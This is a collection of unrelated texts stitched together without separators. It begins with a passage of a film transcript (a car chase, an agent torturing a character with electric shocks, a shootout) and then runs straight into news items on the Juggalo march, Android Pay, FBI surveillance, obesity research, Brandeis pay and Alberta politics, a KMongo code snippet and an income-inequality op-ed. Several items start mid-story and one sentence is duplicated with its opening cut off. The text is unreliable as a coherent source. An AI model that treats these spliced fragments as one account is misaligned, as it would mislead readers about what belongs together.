Otto: What?
Plettschner: A chicken man. Did you ever see a farmer's wife? Huh?
Otto: Let go of me!
[ Plettschner: It's peaceful man. ]
Inside the Helping hand office
Agent 1: The Malibu.
Agent 2: Yeah?
Otto enters and Marlene uses the distraction to kick the shit out of the agents.
Marlene: Let's go
Otto: No way Marlene.
Otto: My car's gone and we're going to get to the bottom of this.
Marlene (holding chair over head of agent 2): Like hell we are.
Agent 2: Not in my face.
Plettschner: Hold it Marlene. Freeze!
Marlene drops chair.
Agent 2: My Face!
Marlene: Over my dead body.
Plettschner: That's how it's going to have to be.
Marlene: Come and get me. Come on.
Plettschner: I've been wanting to do that one for a long time honey.
Marlene: Come on. Come on. Come on if you think your man enough.
Otto: Hey Plettsch. Coffee break.
Otto throws a pot of coffee into Plettschner's face.
Plettschner: Aaaarrggghhhhh!
Marlene steps out the back door. Otto leaves by the front door and is immediately captured by agents (he's captured by a midget in a blue suit who adopts a martial arts stance and fells him with a single blow).
Inside Agent Rogersz van
Rogersz and Leila in the van with a Blond agent behind them. The blond agent has a bandaged nose. Rogersz and Leila watch a monitor where we see Otto is laying on a table in a mostly empty room with an agent standing behind him.
Agent Rogersz: Good evening Otto. This is agent Rogersz. I'm going to ask you a few questions. And since time is short and you may lie, I'm going to have to torture you. But I want you to know it isn't personal.
Otto: Look Ah this isn't really necessary. I'll tell you anything you want to know.
Agent Rogersz: Good! Where is the Malibu?
Otto: I don't know. Somebody ripped it from the yard.
Rogersz nods to Leila who toggles a button, which results in Otto screaming.
Leila: I don't think he knows.
Agent Rogersz: Increase the voltage.
Leila: But what if he's innocent?
Agent Rogersz: No one is innocent. Proceed.
Another button toggle followed by screams. Then Marlene and the Rodiguez brothers enter interrogation room and rescue Otto, carrying him off over their shoulders.
Agent Rogersz: Ah yes! Look at them. High heels, hair nets, those ridiculous trench coats. They're pathetic.
Agent 1: But agent Rogersz, they're getting away.
Agent Rogersz: That's all part of the plan.
Brothers, Marlene, and Otto drive away.
(a handcuffed Otto is taken to the roof of a parking garage by the blond agents where they apparently plan to dump him off the top, but their plans are cut short when Marlene uses a sniper rifle to shoot them with poison darts. Before Marlene and the Rodriguez brothers get to Otto, however, he is picked up by Leila and Gloria who were watching the previous interrogation but not participating in it. Gloria explains that they need to prepare Americans for the coming of Extraterrestial Beings. Gloria: A great American once said, MANKIND CANNOT STAND TOO MUCH REALITY. If the news broke too rapidly, there would be panic. Society as we know it would break down. As they drive around, being tailed by Marlene and the Rodriguez brothers, Otto attracts the attention of the cops by making an illegal U-Turn and is forced to swallow his entire stash, leaving him gibbering unintelligibly. Gloria and Leila then take him to the hospital that Bud is in as they attempt to locate the Malibu.)
It's day now (previous shots could've been day or night).
Marlene: Otto, Otto pull your self together.
Otto: Marlene? What's going on?
Marlene: We're going to the hospital.
Otto, Marlene and the Rodriguez brothers enter the hospital
Voice on the loud speaker: Dr. Benway to surgery.
(Dr. Benway is a character in William Burrough's novel "Naked Lunch")
Old lady: Hey, I know you. You're the one that run into my trash.
Otto: Shh!
Old lady: Shhh to you too.
Voice on the loud speaker: Visiting hours are now over. Thank you for you assistance.
Otto and Marlene enter elevator with 2 health professionals. Lagarto turns away woman on crutches trying to get in.
Lagarto: Out of order. Take the stairs.
Otto and Marlene exit elevator wearing clothes taken from health professionals. Otto has a smiley face button on his right collar.
Voice on the loud speaker: Mr. Lee. Mr. Lee Please return the scalpel. Mr. Lee.
(William Lee, a fictionalized version of William Burroughs, is the narrator of "Naked Lunch" )
Otto pulls back sheet covering body on gurney and sees Kevin.
Kevin: Otto?
Cut back to ER waiting room where nurse is talking to patient who has just filled out a form.
Nurse 1: Let me see that. All wrong do it over.
Old lady: They're going through it all the and they won't pick it up.
Nurse 2: Oh well isn't that a shame.
Old lady: Oh tell you it comes to something when they expect you to pick it up.
Otto and Marlene see a door with a pine tree air freshener hanging from the knob. It's Bud's room. They go in.
Otto: How are you doing man?
Marlene: Ask him about the Malibu.
Otto: Look about the other night. I'm sorry I split. I know I should have stayed with you but ah it's like when I was a kid you know I I had this set of big wheels you know.
Marlene: Otto!
Otto, Marlene and the Rodriguez brothers get chased by the agents down the stairs.
Voice on the loud speaker: Please be quiet in the stair wells.Please be quiet in the stair wells.
Back in Bud's room
Reverend Larry on the TV: A very sad unchristian thing just happened. A sweet old lady's car was stolen. It's a Chevy Malibu. Brothers and sisters. Please if you've seen this car. Just call this toll free number.
Bud: Shit (shoot) . (starts to get up off of the bed)
Reverend Larry: Praise the lord.
(A handwritten note states that the following direction is "VERY IMPORTANT, Without this Rev. Larry Means Nawt (sic)":
The camera judders to a halt below the pulpit. We see REV LARRY's lower torso for the first time. A mass of wires and lights on a tripedal stand. REV LARRY IS A MACHINE )
Otto, Marlene and Rodriguez brother drive off and the agents chase them through the parking garage.
Napo: Go. Go. Go.
Napo: Come on. Let's go.
As they drive off and agents run after, the glowing Malibu drives by and strikes down two of the agents with lightening bolts.
Otto: Dude slow down.
Agent Rogersz stands in the exit with a gun and the door coming down in back of her. They screech to a stop, causing the cars chasing them to pile up behind.
Napo: All right don't shoot come on all right all right
Agents: Chicken shits (stuff) . braak-braak-braak
Agent Rogersz: Where's the Malibu?
Otto: Don't even ask because I don't know. I mean I don't have it Marlene doesn't have it you and your crazy friends don't have it. So that only leaves...
Everybody in Bud's hospital room
Bud is gone.
Agent: Where is he.
Agent: Where the fuck (hell) is he.
Reverend Larry on the TV: He is risen, Holy Jesus' Name.
Otto dives through the open window. As he does this, the Rodriguez brothers yank the handles on the tear gas cannisters hanging off the vest of one of the agents. In the confusion, everybody escapes.
In the parking garage, Marlene and the brothers drive off while Otto steals a car by smashing the window with a wooden piling and then hotwiring it.
Napo: Later!
Marlene: Bye, Bye.
Voice from the Radio: Here's another weird one. Reports are coming in about apparent hail of ice cubes south of downtown. Scientist are at a loss to explain the freak showers of tiny cubes of ice.
(A more elaborate chase scene and several shots later we eventually find Otto going to Bud's mountain outpost with everybody else covertly following. Otto finds Bud and the Malibu there).
Otto arrives at Helping Hands lot while it rains ice cubes.
The Malibu is sitting by itself in the lot and glowing green. Bud is at the wheel.
Otto: That's some weird fucking shit (filthy stuff) Eh Bud? What's going on man?
Bud: Shit (damn) ! Eleven years of repoing cars and what have I got? Shit (zilch) !
Otto: Bud listen to me. You're sitting in a car worth twenty thousand dollars. Look look we we turn it in we take the money and split it sixty forty. You and me.
Bud: Who gets the sixty kid?
(Bud confesses that he broke the code by looking in the trunk. Otto takes a look, burning his hand in the process. He catches a glimpse of "a LARGE METAL CYLINDER covered with lights and dials.")
A bright light approaches in the sky behind Otto as we begin to hear a helicopter.
Otto: Well I don't know. I figured since I found the car first that uh (Bud holds up a pistol) you'd get it.
Voice from the Helicopter: Get away from the car. This is your only warning.
[01:25:57] Reel Ten begins playing quietly in the background, slowly increasing in volume during the rest of the scene.
Otto: We got problems man.
Bud starts to get out of the car, still holding the pistol.
Otto: No no no no no no no no wait! Stop fucking (fooling) around man! Only an asshole (a jackass) gets killed over a car.
Bud: You calling me an asshole (a jackass) punk?
Otto: Yeah I'm calling you an asshole (a jackass) .
Bud, now completely out of the car, waves the pistol in the air.
Bud: Come and get me copper I'm well armed and I know where you live.
Bud goes down in a hail of bullets coming from the helicopter. Otto, standing next to him and catching him as he falls, is miraculously untouched.
[ Otto: Son of a fucking bitch.
Bud: I would rather die on my feet than live on my knees. ]
A translation of the quote "Prefiero morir de pie que vivir de rodillas." which is generally attributed to the Mexican revolutionary Emiliano Zapata.
A truck load of agents shows up
(Gloria has her suited men hustle Otto off. She also suggests he take a shower and burn his clothes. When asking why, Otto is answered by Kevin who is wearing a protective suit as part of his new job doing Hazardous Disposal Duty. They watch a tow truck take the Malibu away.)
[ Agent: Come on, out, out.
Agent: Come on you fucking popsicles let's get that car.
Lite: Hey Oly! Catch Bud?
Oly: Fuck you
Agent Rogersz: We'll talk to Cliff and drive it off. ]
Oly: I have the papers on this car. You guys want a beer?
Lite: Hey Bud, want a beer?
Bud: No, a cigarette.
Agent Rogersz: No beer is needed here.
Two agents grab Oly and slam him up against a car
Agent in a radiation suit: Touching the car I'm encountering a strange eerie kind of force field. I don't know what it is it's it's...
A helicopter lands.
Agent: Come on you popsicles.
Agent approaching Malibu catches fire. Others try to put him out.
Two agents sit togethor talking. One is wearing a radiation suit and has a heavily bandaged nose.
Agent: God I love this job.
Agent with bandaged nose: Linear and inverse vectors merge in zero.
Agent Rogersz (escorting the Reverend Larry): This way your holiness.
Reverend Larry approaches flanked by several other holy men. It isn't clear how they arrived on the scene.
It has been reported that the Rabbi standing next to him is Michael Nesmith. It has also been reported that Muhammad Ali had been asked to be one of the men, but turned down the role.
Agent: It's more than a job it's it's a calling.
Agent with bandaged nose: Critical mass is at a point of zero.
Agent: Why, you can say spiritual.
Agent with bandaged nose: Spiritual?
Agent: Look out.
Reverend Larry walks up to car and holds up a book titled "Holy Bible". He is flanked by a group of people in various religious garb.
The "Holy Bible" is struck by a small bolt of lightening.
Reverend Larry: Holy sheep shit (dip) .
voices in background: get back, get back
Insane Clown Posse, a Detroit-based rap group known for its carnival-themed lyrics and face-painted fans, doubled down this week on its plans to hold a “Juggalo March” in the nation’s capital Sept. 16.
“Juggalo” is a term given to die-hard fans of ICP’s music, effectively designating likeminded listeners not unlike labels applied decades earlier to Beatlemaniacs and Deadheads — albeit with a slight caveat courtesy of the FBI.
The inclusion of ICP’s fanbase in the 2011 report assembled by the bureau’s National Gang Intelligence Center has complicated matters for self-described Juggalos in the years since, and has resulted in “hundreds if not thousands of people subjected to various forms of discrimination, harassment and profiling,” according to the rap group.
Thousands of Juggalos are expected to descend on the National Mall later this year to protest being classified as criminals in addition to “standing up for their civil rights and the rights of others who have been oppressed or discriminated by reckless law enforcement agencies,” according to a website for the event launched on Wednesday this week.
“[T]he Juggalo Family must truly shine and show America and the world that we are not a gang, public menace, cult or any of the other untrue labels they have attempted to slap on us throughout the years. We must collectively show them that we truly are a family that is united by a shared love of music and fellowship,” the website says.
“We may be the outsiders, the misfits, the weirdos and the underdogs of the mainstream world, but as a result we have created our own world — one built on a rock-solid foundation of community, creativity, joy and love.”
Juggalos will meet near the Lincoln Memorial around 12 noon on the day of the event before marching to the Washington Monument and back, according to the website, where attendees will hear “speeches and testimonials from Juggalos who have been affected by the gang label.”
The group plans on holding a concert for fans the day after the march in nearby Bristow, Virginia. Face-paint is optional for either event.
The FBI’s 2011 report described Juggalos as a “loosely-organized hybrid gang” tied to criminal activity and violence including robberies and drug dealing. ICP sued the FBI in 2014 in a bid to have its fanbase recategorized, but a District Court judge ruled in the government’s favor last September. The group has since filed a notice of appeal in the Sixth Circuit.
If you’re confused, here’s the lowdown:
Google Wallet will still exist as a way to manage your physical Google Wallet card, and send and receive money (a la Venmo, Square Cash, and other similar services).
will still exist as a way to manage your physical Google Wallet card, and send and receive money (a la Venmo, Square Cash, and other similar services). Android Pay on the other hand is Google’s new payment system, designed to make it easy to digitize your payment methods, use your Android smartphone to pay for your purchases both online and at brick-and-mortar retailers, and to pay for in-app purchases.
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Android Pay will work on any NFC-enabled Android device running KitKat (Android 4.4) or higher, every mobile carrier, and at any retailer with an NFC payment terminal that supports the service. In Android 6.0 (Marshmallow) you’ll also be able to use a device’s fingerprint reader to authorize purchases. You’ll be able to add your debit card and credit cards (including American Express, Discover, MasterCard and Visa) to the service and choose which one you want to pay with at the payment terminal. Most major banks and credit unions are supported out of the box, although Citi and Wells Fargo will be available “in the coming days,” and according to Google if you don’t see your bank listed now, it’s on the way.
Android Pay is currently US only, and is rolling out to Google accounts today, and has the support of over a million retailers nationwide (although of that million retailers, there’s only about 63 individual companies on the list right now, as you can see in the graphic above.)
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When Android Pay was announced back at Google I/O earlier this year, most people saw it as a way to modernize Google Wallet and make it a real competitor to Apple Pay, which people saw as a “pay for stuff with my phone in the real world” service first and a way to organize their credit cards and rewards second. Compared to Google Wallet, which has always been useful but never broadly adopted by retailers or users, this shift—while a little confusing—at least means Android users will be able to pay with their phones as well as enjoy Google Wallet’s other benefits at the same time. Hit the links below to learn more.
from the feeling-safer? dept
Every few months it seems that yet another report comes out saying that the various intelligence agencies have abused their powers to spy on people with little (or no) oversight. The latest such report, released thanks to a court battle by the ACLU explains (in heavily redacted terms) that there are still widespread abuses of the process of wiretapping people under the FISA law (though, it may not be quite as bad as in the past). Of course, the specific details are all redacted.Separately, a Freedom of Information request by Chris Soghoian has turned up how the feds now regularly are tracking real-time info such as credit card transactions (as you make them) without first getting a court order. Apparently, the Justice Department is allowing agents to write their own subpoenas, and the only role a judge plays is in ordering that the surveillance not be disclosed. Once that happens, credit card companies, mobile operators, rental car companies and even retail stores with loyalty cards end up giving the government a direct, real-time feed. So, yes, the government may know about that giant bag of nacho chips you bought at Costco before you even make it home. Obviously, there may be good reasons for the government to want real-time info on certain people that they're watching but doesn't it seem a bit strange to avoid having to go to a judge and proving probable cause before being allowed to get that kind of info?
Looking at digital sales for the top 10 best-selling games of January (listed below) the PS4 and PS3 accounted for 43% and 20% respectively of total purchases. By comparison, Microsoft’s Xbox 360 and Xbox One consoles totaled just 37% altogether.
It's worth pointing out, again, that the data doesn't take into account all digital sales data, only the top 10 games. Data for PC, Nintendo consoles, and mobile was not included in this study.
According to SuperData, the top 10 digital games for January 2015 were:
data class Jedi ( val name : String , val age : Int ) col . insertOne ( Jedi ( "Luke Skywalker" , 19 )) //java driver method col . insertOne ( "{name:'Yoda',age:896}" ) //KMongo extension function //object mapping & mongo shell query format is supported -> val yoda : Jedi ? = col . findOne ( "{name: {$regex: 'Yo.*'}}" ) //type-safe query style is recommended for complex apps -> val luke = col . aggregate < Jedi >( match ( Jedi :: age lt yoda ?. age ), sample ( 1 ) ). first ()
Native and Lightweight¶
KMongo features are available via Kotlin extensions - you use transparently the core MongoDB java driver API (both sync and reactive streams (ie async) drivers are supported)
With complete reactive streams & async support¶
You can use extensions for reactive streams style, Kotlin Coroutines or RxJava2.
Built-in Object Mapping¶
Object oriented programming is usually better - use Objects, not Maps. Powered by the native POJO Codec or by the Jackson library.
Have you already queried an Int field with a String value? KMongo type-safe query system removes the query type errors. Provided with an optional annotation processor.
Mongo shell queries¶
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Based on popular demand, Uniquify will be enabled by default in Emacs-24.4 Voting is now closed. See FrequentlyEnabledPackages Emacs244 Survey Results. If you feel like commenting, use Comments on FrequentlyEnabledPackages Emacs244 Survey.
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How to keep the Table sorted
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Email You are free to share this article under the Attribution 4.0 International license. University University of Rochester
Researchers believe they’re on track to solve the mystery of weight gain—and it has nothing to do with overeating.
They discovered that a protein, Thy1, has a fundamental role in controlling whether a primitive cell decides to become a fat cell, making Thy1 a possible therapeutic target, according to a study published in the FASEB Journal.
The research brings a new, biological angle to a problem that’s often viewed as behavioral, says lead author Richard P. Phipps, a professor at the University of Rochester.
Although Thy1 was discovered 40 years ago and has been studied in other contexts, its true molecular function has never been known. Phipps’ laboratory reported for the first time that expression of Thy1 is lost during the development of fat cells, suggesting obesity could be treated by restoring Thy1.
They’re also working towards developing an anti-obesity drug, a Thy1-peptide, and have applied for an international patent to protect the invention. Phipps and colleagues are trying to identify a company to help with commercializing the patent asset and bring a new obesity treatment to the marketplace.
“Our goal is to prevent or reduce obesity and in this paper we’ve shown how to do this in principle,” says Phipps. “We believe that weight gain is not necessarily just a result of eating more and exercising less. Our focus is on the intricate network involved in fat cell development.”
Fatter mice
[related]
Researchers studied mice and human cell lines to confirm that a loss of Thy1 function promotes more fat cells. Mice lacking the Thy1 protein and fed a high-fat diet gained more weight and faster, compared to normal mice in a control group that also ate the same high-fat diet.
In addition, the fatter mice without Thy1 had greater than twice the levels of resistin in their blood, a biomarker for severe obesity and insulin-resistance or diabetes.
Experiments using human fatty tissue from the abdomen and eyes showed similar results.
Born that way?
Phipps and colleagues, including key researcher Collynn Woeller, a research assistant professor of environmental medicine, are continuing to investigate why cells with the potential to turn into fat cells lose the Thy1 protein, and why fat accumulates faster when Thy1 shuts off.
It’s not clear whether Thy1 levels are different in people at birth, or whether they change with time and exposure to various environmental agents.
To address the latter question, Phipps’ laboratory is separately studying whether chemicals known as obesogens–such as bisphenol A (BPA), flame retardants, and phthalates–reduce Thy1 expression in human cells and promote obesity. That study is funded by the National Institute of Environmental Health Sciences. The work reported in FASEB was funded by the National Institutes of Health, as well as grants from the Rochester/Finger lakes Eye & Tissue Bank and the Research to Prevent Blindness Foundation.
The school said the announcement was part of a commitment to be more open and fair in setting executive compensation after an uproar over Reinharz’s pay.
Reinharz’s compensation has sparked controversy on the Waltham campus since the Globe recently reported that Reinharz earned more than $600,000 in 2011 to serve as part-time president emeritus after stepping down three years ago. More than 1,600 alumni, students and other people with ties to Brandeis signed a petition protesting Reinharz’s pay and asking the board to overhaul its compensation policies, while faculty representatives called on the board to revamp its pay practices.
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This week, the board of trustees approved a new slate of policies, including promises to include a faculty representative on its compensation committee, consider public confidence and fairness in setting executive pay, and promptly disclose presidential pay to faculty, instead of waiting to report the numbers on tax filings that are typically not available until at least 18 months later.
“Our new policies set very high standards,’’ said Brandeis board chairman Perry M. Traquina in a statement. “These governance changes turn a new page for the University and aim to make Brandeis a national leader in terms of best practices for executive compensation.’’
As part that new promise of transparency, Brandeis revealed today that on Jan. 2 it paid Reinharz $4.1 million in deferred compensation and $811,000 for sabbaticals that Reinharz accrued but never took during his 17-year tenure as the college’s president. The university said the deferred compensation was included in his total annual pay on past returns, while the sabbatical pay was referenced in a past footnote and will be reported in a tax return in May 2016.
“Instead of disclosing it in 2016, we are disclosing it now,’’ said Brandeis spokeswoman Ellen de Graffenreid.
The Jan. 2 lump sum payment is in addition to money Reinharz has received as president emeritus since he stepped down at the end of 2010. Since 2012, Reinharz has received $287,500 a year in salary as a part-time president emeritus and professor, but that will fall to $180,000 a year starting in July. The university also revealed today it has agreed to let him keep that salary through 2024.
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In total, Reinharz is expected to collect roughly $8 million after stepping down as president, much of which was earned during his presidency and paid out later.
Sahar Massachi, 24, one of the Brandeis graduates who started the petition, said he was stunned by the pay figures.
“I can’t even process it,’’ Massachi said. “It’s such a big number. It’s so staggeringly large.’’
Massachi said he was glad to see the changes the board made, though he said it was disappointing that it took a pay scandal to spur Brandeis to make them and wished they had gone further. For instance, the petition suggested that Brandeis cap presidential pay at 15 times the pay for the lowest paid worker.
Other colleges across the state and nation have come under fire for presidential pay packages. But the issue has been particularly controversial at Brandeis, partly because the school has long claimed social justice as one of its core values and because some of the pay was negotiated or doled out at a time when the university was facing significant financial challenges that forced it to cut benefits, lay off staffers, and even explore the idea of shutting down a beloved campus museum and selling the art.
"It's that feeling you get when you know the waiter, the cashier, the janitor is in the wrong place—they are smart, brilliant even. This is my attempt to fix one of those lost pieces," 23-year-0ld Patrick McConlogue wrote this week in a post on Medium.
But his post has caused a lot of backlash yesterday, with many calling McConlogue's proposal insensitive.
Here's how McConlogue proposes to make it work: Today, he'll to talk to the homeless man and give him two options. The first is $100 in cash. The second is a laptop and some coding books. If the homeless man accepts the laptop and coding books, McConlogue writes that he'll leave for work an hour early each day and teach the man how to code.
UPDATE:The homeless guy accepted the offer. More info here >>
In an interview with Business Insider, McConlogue defended his controversial post. He said there's a high demand for coders and he believes with two months of training, he can successfully teach this homeless man, who he has dubbed "The Journeyman Hacker" until he learns his real name, the skills necessary to be able to code as a profession.
In response to the backlash, McConlogue said he wishes he chose different words for his post. Currently, he has 139 emails in his inbox about it.
"The point of the post is I want to help this one homeless guy I see on my way to work and here's how I think I could do it," he said. "It's all I have to offer. I can't give him more than $100. I can't give him a house."
We'll follow up with McConlogue later today and see how it went.
A woman has died after a collision near the Mancunian Way.
The 44-year-old cyclist was thrown from her bike after colliding with a car and later pronounced dead at the scene.
At about 3pm today, police were called the slip road heading from Princess Road to the Mancunian Way following reports of a collision between a black Seat Leon and the cyclist
The driver of the car, a 40-year-old man, has been arrested on suspicion of causing death by dangerous driving and remains in police custody for questioning.
Inquiries into the circumstances surrounding the collision are ongoing.
Motorists are advised to find alternative routes due to the heavy congestion following the collision.
Er, not exactly.
If anonymous political speech, the other widely decried villain of this political season, helped found the United States, attack ads are as American as apple pie. If you fancy yourself a patriot or a history buff, you will most certainly approve this message, which is taken from statements made by, for, and against the nation's founders. For historical sources, go here.
Approximately 1.45 minutes. Written and produced by Meredith Bragg. Voiced by Caleb Brown, Michael C. Moynihan, and Austin Bragg.
Check out "The Positives of Negative Campaigning," why "Attack Ads Are Good For You." and Reason's 2006 list of the "Top 10 Dirtiest Political Campaigns" in U.S. history.
Go to Reason.tv for downloadable versions and subscribe to Reason.tv's YouTube channel to receive automatic notification when new material goes live.
Three ignition points have been identified a hundred metres apart.
No property was destroyed in the blaze.
The City of Cape Town's JP Smith updated us a short while ago.
City of Cape Town's mayoral committee member for safety and security, JP Smith said a suspected was arrested.
IN PICTURES: Paarl fires rage out of control
“A 14-year-old man was detained, identified by the community but he managed to run away before the law enforcement officials could nab him, but he was pointed out by community members as having been responsible."
People are challenged to go junk-free in June.
New Zealand Cancer Society is running the fundraiser, where participants seek sponsorship to give up something that's not good for them for a month, and several high-profile New Plymouth people have jumped on board.
New Plymouth's mayor Andrew Judd, Member of Parliament Jonathan Young, New Zealand White Ferns team member Kate Broadmore, and musician Morgana James have already pledged their support.
READ MORE: Cancer Society unveils Junk Free June
Young plans to give up sugar. "Not just sugar as in teaspoons into coffee or cereals, but also products that have lots of sugar. So I'm going to pull back on processed foods and just eat natural."
James wants to give up stress. "I would like to strategise with my family, because we're doing it all together," she said.
Judd said he was going to give up biscuits, particularly sultana pasties. "If you put sultana pasties in front of me there'd be struggling to be one left in the packet after a night," he laughs.
He wanted to get involved in the fundraiser because, as well as supporting the Cancer Society, participants become more healthy too.
Broadmore, a cricketer, said now was a good time to get involved because training had just started. She plans to cut down on artificial sugar. "It's quite a good eye-opener when you start looking at what's in what."
Taranaki Cancer Society centre manager Meg Rodel said Junk Free June was a national initiative started last year, but this was the first time it has run in Taranaki.
"A third of cancer deaths are actually preventable, predominantly through healthy eating and obviously early detection," Taranaki Centre manager Meg Rodel said.
Bowel and breast cancers particularly fall into this category.
People don't necessarily have to give up food or drink, it could be too much TV or a technology addiction. "The idea is that people go out and get people to support them in their endeavour and fundraise."
Rodel had some last words; "What's a month? I'd like to think that if they gave something up that after a month they wouldn't miss it and they'd give it up permanently."
Wildrose had just over 40,000 members by the midnight Sunday deadline for Albertans to buy a party membership to be eligible to vote on the unity deal at the July 22 special meeting of the party. The membership number is an order of magnitude higher than Wildrose has ever had before, said party president Jeff Callaway.
Wildrose Leader Brian Jean said the party has added more than 20,000 members in the past few months.
“I’m excited. I think it overwhelmingly means . . . the support is towards unity,” Jean said in an interview at Saturday night’s federal Conservative Stampede barbecue at Heritage Park with new leader Andrew Scheer.
“I continue to be very optimistic. I am, of course, aiming for as many yes votes as possible in the unity process.”
Jean and PC Leader Jason Kenney in May unveiled a negotiated agreement to bring together each parties’ members in a new United Conservative Party.
Wildrose requires 75 per cent approval from its members who are in person at the special meeting or participating remotely for the deal to go ahead, while the PCs need only a simply majority in the online and phone vote the party will hold between July 20 to 22.
Both Jean and Kenney have been encouraging Albertans to buy memberships in each party to be able to vote twice.
The PCs’ deadline for membership sales is Tuesday night at midnight and the party said Sunday it has just over 42,000 members after an “explosion” in sales over the past few days. There is no data on the overlap between the two parties’ membership rolls.
“We’ve been selling tons of memberships. I’ve never seen anything like it,” said Kenney at the Scheer barbecue.
Yet, as the leaders grow increasingly confident the unity agreement will be ratified, some members in each party have spoken out against the deal.
At least three Wildrose constituency association presidents are campaigning against the agreement as contrary to the party’s grassroots nature and are discussing the formation of a new party if the UCP goes forward.
PC MLA and former leadership candidate Richard Starke — while not actively campaigning against the agreement — said last week he continues to have grave concerns about uniting the two parties.
Starke also said he would make a decision on his own political future after the vote totals are known.
Kenney downplayed Starke’s comments, saying “no one has ever expected unanimity.”
The former MP said he respects opponents of the deal such as Starke, but they must respect the democratic outcome of the July 22 vote.
Kenney added that in more than 20 recent town halls, “I have not heard a single voice of opposition to the agreement, save a communist professor at the University of Lethbridge.”
Jean said he greatly respected Starke, calling the Vermilion-Lloydminster MLA a “great Albertan.”
The Wildrose leader said he believes that opponents of the unity deal, especially within Wildrose ranks, can be persuaded of the merits of unity either before or after the vote takes place.
“I would encourage all of those people that have doubt to come talk to me . . . to contact me,” said Jean.
“I know there’s tough questions and I’m prepared to answer those.”
The move to unify Alberta’s right-wing parties has led to talk of building a strong centrist alternative to the UCP and NDP government, with other parties seeing opportunity to compete to attract disgruntled moderates from the Tories.
Alberta Party Leader Greg Clark, whose party has been the beneficiary of support from the Alberta Together political action committee which includes former PCs, and freshly elected Liberal Leader David Khan each said Sunday the doors to their respective parties are open to Starke if he’s looking for a new political home.
“Richard and I have always gotten along very well. I think we have similar values. The united right will tolerate intolerance and I think Albertans reject that,” said Clark.
Khan noted that his law firm boss, Jeff Rath, worked on Starke’s PC leadership campaign, though he stepped down after filing a complaint to the party trying to have Kenney disqualified from the race.
“I consider him a friend,” said Khan of Starke.
“He’s a great guy and I’d love to chat about him coming over to the Liberal Party.”
December 12 municipal election will be first opportunity for women to vote in kingdom
At least two women's rights activists say they have been disqualified from running
(CNN) More than 900 women are campaigning for public office in Saudi Arabia -- a first in the kingdom's history.
The December 12 municipal election will be the first opportunity for Saudi women to vote or run for office since a 2011 order by the now deceased King Abdullah that granted women some opportunities for political participation in the ultra-conservative Sunni kingdom.
Critics have described the change as anywhere from modest to inconsequential. Women will only participate in elections at the municipal level.
At least two women's rights activists announced on Twitter that they had been disqualified as candidates.
Loujain Hathloul, who was arrested last year for defying a ban on women drivers, and Nasema al-Sada, said their names had been left off the final candidates list, and that they plan to appeal.
Then again, he'd be willing to make a rather lucrative exception.
"25 to 35 million would get me to do another solo album after this," Weezy told MTV News after taking a deep breath and a second to think out his answer.
"I didn't smile when I said it," he pointed out to us in an effort to show just how serious he really is.
For someone who is looking to take a break, Wayne remains very busy. On Tuesday he released Young Money: Rise of An Empire, a compilation album that shows off the talents of his expansive roster with contributions from artists like Drake, Nicki Minaj, Tyga as well as newcomers Euro, PJ Morton and Chanel West Coast.
MTV News caught up with Weezy on the set of "Senile," the latest single from the Rise of an Empire LP and while he was fully focused on the task at hand, he did look forward to life after rap.
"I personally plan on this being my final solo album, yes and it's definitely the final Carter album. It's the final Carter album. It's stopping at five," he assured us of the LP, which is slated to be released on May 5, though we here from a source that date may change.
But Wayne won't fully hang up his mic, as he'll still treat fans to guest features, especially when it comes to his YMCMB family. "I plan on it being my final solo album," he said. "Whenever I have to pitch in for a Young Money album, a Like Father, Like Son album and something like that and maybe something out the blue."
Hassoun Camara qui porte le nouveau IMFC maillot 2016. Voici une photo qu’un joueur a partagé sans vouloir ( @cam39porter) et on peu clairement voir le nouveau maillot 2016. J’ai reussi a garder la photo pour vous la montrer.
Here’s the sneak peek of the new #IMFC Jersey that IMFC sent yesterday, I was lucky enough to print screen it for you :). It was posted on sbapchat and once you see it it goes away. You can’t see it twice.
Share it with your friends and let’s try to guess what it looks like. I just can’t wait to see the new Jersey.
P. S. Cam Porter also accidently leaked more on the jersey on Beme.
"We can either settle for a country where a shrinking number of people do really well, while a growing number of Americans barely get by," Obama said. "Or we can restore an economy where everyone gets a fair shot, everyone does their fair share, and everyone plays by the same set of rules."
No doubt, the long-term trend toward income inequality is a major flaw of the capitalist system. From 1980 to 2005 more than 80 percent in the gain in Americans' incomes went to the top one percent. This staggering disparity between the haves and have-nots has created a permanent underclass of underemployed, undereducated and alienated people who often turn to crime for survival and social status. Aggregation of wealth into fewer hands has shrunk the size of the U.S. market for consumer goods, prolonging and deepening the depression.
How can we make the system fairer?
Liberals are calling for a more progressive income tax: i.e., raise taxes on the rich. Obama says he'd like to slap a minimum federal income tax of 30 percent on individuals earning more than $1 million a year.
Soaking the rich would obviously be fair. GOP frontrunner/corporate layoff sleazebag Mitt Romney earned $59,500 a day in 2010--and paid half the effective tax rate (13.9 percent) than of a family of four earning $59,500 a year.
Fair, sure. But would it work? Would increasing taxes on the wealthy do much to close the gap between rich and poor--to level the economic playing field?
Probably not.
From FDR through Jimmy Carter it was an article of faith among liberals that higher taxes on the rich would result in lower taxes on the poor and working class. This was because the Republican Party consistently pushed for a balanced budget. Tax income was tied to expenditures, which were more or less fixed--and thus a zero-sum game.
That period from 1933 to 1980 was also the era of the New Deal, Fair Deal and Great Society social and anti-poverty programs, such as Social Security, the G.I. Bill, college grants and welfare. These government handouts helped mitigate hard times, gave life-changing educational opportunities that allowed class mobility, closing the gap between despair and hope for tens of millions of Americans. As the list of social programs grew, so did the tax rate--mostly on the rich. The practical effect was to redistribute income from top to bottom.
Democrats think it still works that way. It doesn't.
The political landscape has shifted dramatically under Reagan, Clinton and the two Bushes. Budget cuts slashed spending on student financial aid, food stamps, Medicaid, school lunch programs, veterans hospitals, and aid to single mothers. The social safety net is shredded. Most federal tax dollars flow directly into the Pentagon and defense contractors such as Halliburton.
As the economy continues to tank, there's only category to cut: social programs. "Eugene Steuerle worked on tax and budget issues in the Reagan Treasury Department and is now with the Urban Institute," NPR reported a year ago. "He says one reason no one talks about preserving the social safety net today is that lawmakers have given themselves little choice but to cut it. They've taken taxes and entitlements, such as Social Security and Medicare, off the budget-cutting table, so there's not much left."
Meanwhile, effective tax rates on the wealthy have been greatly reduced. Which isn't fair--but not in the way you might think.
Taxes on middle-class families are at their lowest level in 50 years, according to the Center on Budget and Policy Priorities, a liberal thinktank.
What's going on?
On the revenue side of the budget equation, the poor and middle-class have received tiny tax cuts. The rich and super rich have gotten huge tax cuts. Everyone is paying less.
On the expense side, social programs have been pretty much destroyed. If you grow up poor there's no way to attend college without going into debt. If you lose your job you'll get 99 weeks of tiny, taxable (thanks to Reagan) unemployment checks before burning through your savings and winding up on the street.
